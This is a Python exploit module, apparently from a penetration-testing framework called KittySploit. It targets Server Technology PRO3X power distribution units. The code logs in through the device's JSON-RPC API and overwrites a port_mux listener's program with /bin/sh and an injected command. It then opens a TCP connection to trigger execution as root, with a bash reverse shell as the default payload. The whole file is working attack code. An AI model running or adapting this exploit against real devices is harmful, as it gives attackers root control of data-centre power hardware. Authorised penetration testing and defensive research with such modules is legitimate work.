Server Technology PRO3X port_mux listener override root RCE

"""Server Technology PRO3X port_mux listener program override root RCE."""
from __future__ import annotations
import json
import re
import socket
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'Server Technology PRO3X port_mux listener override root RCE', 'description': 'Authenticated JSON-RPC setConfiguration overrides proto_listener program to /bin/sh; TCP connect triggers execv as root.', 'author': ['KittySploit Team'], 'platform': Platform.MULTI, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['servertech', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 4, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/servertech_pro3x_port_mux_rce_detect']}}}
    SENTINEL = 'PORTMUX_RCE_OVER_SOCKET'
    DEFAULT_MARKER = '/tmp/portmux_rce_marker'
    port = OptPort(443, 'Management HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    username = OptString('', 'Administrator user', required=True)
    password = OptString('', 'Administrator password', required=True)
    listener = OptString('http', 'proto_listener key to override', required=False)
    trigger_port = OptPort(80, 'Listener TCP port to connect', required=False)
    marker_file = OptString(DEFAULT_MARKER, 'Marker file on target', required=False)

    def _jsonrpc(self, namespace: str, method: str, params: dict, token: str | None=None) -> tuple[int, str]:
        body = json.dumps({'jsonrpc': '2.0', 'method': method, 'params': params, 'id': 1})
        headers = {'Content-Type': 'application/json', 'Accept': 'application/json'}
        if token:
            headers['X-Session-Token'] = token
        resp = self.http_request('POST', f'/J/{namespace}', data=body, headers=headers)
        if not resp:
            return (-1, 'request failed')
        return (int(resp.status_code or 0), (resp.text or '')[:4000])

    def _session_token(self) -> str | None:
        code, payload = self._jsonrpc('auth', 'login', {'user': str(self.username or ''), 'password': str(self.password or '')})
        if code != 200:
            return None
        try:
            doc = json.loads(payload)
        except json.JSONDecodeError:
            return None
        for node in (doc, doc.get('result'), doc.get('data'), doc.get('session')):
            if not isinstance(node, dict):
                continue
            for key in ('session_token', 'token', 'session', 'new_session'):
                val = node.get(key)
                if isinstance(val, str) and val:
                    return val
        return None

    def _trigger_tcp(self) -> str:
        host = str(getattr(self, 'target', None) or getattr(self, 'rhost', None) or '')
        port = int(self.trigger_port or 80)
        try:
            sock = socket.create_connection((host, port), timeout=float(getattr(self, 'timeout', None) or 20))
            sock.sendall(b'\n')
            data = sock.recv(4096)
            sock.close()
            text = data.decode('utf-8', 'replace').strip()
            if self.SENTINEL in text:
                return f'trigger OK; sentinel in response: {text[:200]}'
            return f"trigger connected; response: {text[:200] or '(empty)'}"
        except OSError as exc:
            return f'trigger connect to {host}:{port} failed: {exc}'

    def execute(self, cmd: str) -> str:
        token = self._session_token()
        if not token:
            return 'JSON-RPC auth login failed (check credentials)'
        marker = str(self.marker_file or self.DEFAULT_MARKER)
        shell_line = f'LC_ALL=C {{ {cmd}; }} > {marker} 2>&1; echo {self.SENTINEL}'
        listener = str(self.listener or 'http')
        params = {'configuration': {'proto_listener': {listener: {'program': '/bin/sh', 'program_args': ['-c', shell_line]}}}}
        code, payload = self._jsonrpc('cfg', 'setConfiguration', params, token)
        if code != 200:
            return f'setConfiguration HTTP {code}: {payload[:300]}'
        trig = self._trigger_tcp()
        return f'setConfiguration OK; {trig}; verify {marker} on target'

    def check(self):
        code, _ = self._jsonrpc('auth', 'login', {'user': 'probe', 'password': 'probe'})
        if code in (200, 401, 403):
            return {'vulnerable': True, 'reason': 'JSON-RPC auth endpoint reachable', 'confidence': 'low'}
        resp = self.http_request('GET', '/')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'Management UI reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Target not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.username or '').strip() or not str(self.password or '').strip():
            print_error('Set administrator username and password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('setConfiguration → TCP listener trigger')
        print_info(self.execute(shell))
        self.vulnerable()
        probe = self.execute('id')
        if probe and re.search('uid=0|sentinel', probe, re.I):
            print_success('Root execution evidence')
        return True